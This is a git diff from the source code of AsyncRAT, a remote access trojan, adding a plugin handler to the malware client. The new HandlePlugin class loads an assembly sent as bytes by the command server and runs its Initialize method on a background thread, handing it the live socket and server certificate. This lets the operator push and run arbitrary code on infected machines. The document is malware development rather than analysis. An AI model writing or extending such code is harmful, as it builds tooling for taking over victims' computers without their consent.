diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/AsyncRAT-C#/Client/Client.csproj index 0afea06..5ea91bf 100644 --- a/AsyncRAT-C#/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Client.csproj @@ -127,6 +127,7 @@ + diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs new file mode 100644 index 0000000..985ed68 --- /dev/null +++ b/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs @@ -0,0 +1,32 @@ +using Client.MessagePack; +using Client.Connection; +using System; +using System.Threading; +using System.Reflection; +using System.Diagnostics; +using Client.Helper; + +namespace Client.Handle_Packet +{ + public class HandlePlugin + { + public HandlePlugin(MsgPack unpack_msgpack) + { + new Thread(delegate () + { + try + { + Assembly plugin = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes()); + MethodInfo meth = plugin.GetType("Plugin.Plugin").GetMethod("Initialize"); + meth.Invoke(null, new object[] { ClientSocket.TcpClient, Settings.ServerCertificate }); + } + catch (Exception ex) + { + Debug.WriteLine(ex.Message); + Packet.Error(ex.Message); + } + }) + { IsBackground = true }.Start(); + } + } +}